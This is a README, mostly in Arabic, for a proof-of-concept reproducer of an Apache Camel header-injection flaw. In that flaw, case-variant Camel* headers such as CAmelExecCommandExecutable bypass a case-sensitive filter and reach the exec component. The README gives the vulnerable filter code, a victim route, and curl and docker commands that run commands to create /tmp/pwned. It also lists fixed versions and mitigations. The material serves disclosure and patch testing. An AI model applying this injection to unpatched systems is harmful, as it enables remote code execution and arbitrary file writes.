
Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)
يُوضح هذا المشروع CVE-2026-40453 — وهو إصلاح غير مكتمل لثغرة CVE-2025-27636. أضاف إصلاح 2025
setLowerCase(true) إلى HttpHeaderFilterStrategy بحيث تتم تصفية أسماء الرؤوس ذات الحالة المتغيرة (مثل
CAmelExecCommandExecutable) جنبًا إلى جنب مع الاسم الأساسي CamelExecCommandExecutable. لم يتم
تطبيق الاستدعاء نفسه على خمسة تطبيقات HeaderFilterStrategy غير HTTP
(camel-jms, camel-sjms, camel-coap, camel-google-pubsub)، والتي تقوم بالتصفية بحساسية لحالة الأحرف بينما
يخزّن Camel Exchange الرؤوس في خريطة غير حساسة لحالة الأحرف. لذلك يمكن للمهاجم حقن رأس تحكم
Camel* بحالة أحرف متغيرة يتجاوز الفلتر لكنه لا يزال يُحَل بواسطة المكونات اللاحقة (camel-exec, camel-file, ...)
باسمه الأساسي → تنفيذ تعليمات برمجية عن بُعد / كتابة ملفات عشوائية.
يُوضح هذا المُعيد إنتاج الثغرة باستخدام camel-coap (مكتفٍ ذاتيًا، بدون وسيط خارجي)؛ نفس الخلل يؤثر على استراتيجيات JMS/SJMS/Google-Pubsub.
النشرة الأمنية: https://camel.apache.org/security/CVE-2026-40453.html
يقوم CoAPHeaderFilterStrategy (في الإصدار المتأثر) بتصفية رؤوس Camel* بحساسية لحالة الأحرف:
public CoAPHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// MISSING: setLowerCase(true);
}
عند وصول طلب CoAP، يقوم CamelCoapResource.handleRequest() بتعيين كل معلمة من معلمات استعلام URI إلى
رؤوس Exchange In، مقيدة بواسطة strategy.applyFilterToExternalHeaders(name, value, exchange):
CamelExecCommandExecutable — startsWith("Camel") تُرجع true → تُصفَّى.CAmelExecCommandExecutable — startsWith("Camel") تُرجع false (CAm ≠ Cam) → لا تُصفَّى.خريطة رؤوس Exchange غير حساسة لحالة الأحرف، لذلك يتم لاحقًا حل الرأس ذي الحالة المتغيرة بواسطة
منتج exec تحت اسمه الأساسي CamelExecCommandExecutable، متجاوزًا الأمر.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello")
.convertBodyTo(String.class);
mvn clean package -DskipTests
docker compose up -d --build
curl http://localhost:8080/exploit/normal # -> hello
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false (the filter strips canonical Camel* headers)
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned
docker compose down
قم بالترقية إلى 4.14.6 / 4.18.2 / 4.20.0. يضيف الإصلاح (CAMEL-23313) setLowerCase(true) إلى تطبيقات
HeaderFilterStrategy الخمسة غير HTTP بحيث يتم أيضًا تصفية أسماء Camel* ذات الحالة المتغيرة.
إلى حين الترقية:
HeaderFilterStrategy مخصص مع setLowerCase(true)، أو removeHeaders بنمط غير حساس لحالة الأحرف.CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CoapExecRoute.java # victim: from(coap).to(exec)
│ └── ExploitController.java # /normal, /canonical (filtered), /attack (case-variant bypass)
└── resources/
└── application.properties
تم توفير هذا المُعيد إنتاج الثغرة لأغراض البحث الأمني والاختبار المصرح به فقط، وذلك لثغرة مُعلنة للعموم ومُصلحة. لا تستخدمه ضد أي أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكونات | camel-jms, camel-sjms, camel-coap, camel-google-pubsub (يستخدم هذا الـ PoC مكوّن camel-coap) |
| الفئات المتأثرة | JmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy |
| السبب الجذري | تصفية startsWith("Camel"/"camel") حساسة لحالة الأحرف (افتقاد setLowerCase(true)) مقابل خريطة رؤوس Exchange غير حساسة لحالة الأحرف |
| CWE | CWE-20 (التحقق غير السليم من المدخلات) — حقن رأس الرسالة |
| الأثر | تنفيذ تعليمات برمجية عن بُعد / كتابة ملفات عشوائية عبر المنتجين المعتمدين على الرؤوس |
| الإصدارات المتأثرة | من 3.0.0 قبل 4.14.6، من 4.15.0 قبل 4.18.2، من 4.19.0 قبل 4.20.0 |
| الإصدارات المُصلحة | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23313 (يكمل إصلاح CVE-2025-27636) |
| المُبلِّغ | Saroj Khadka |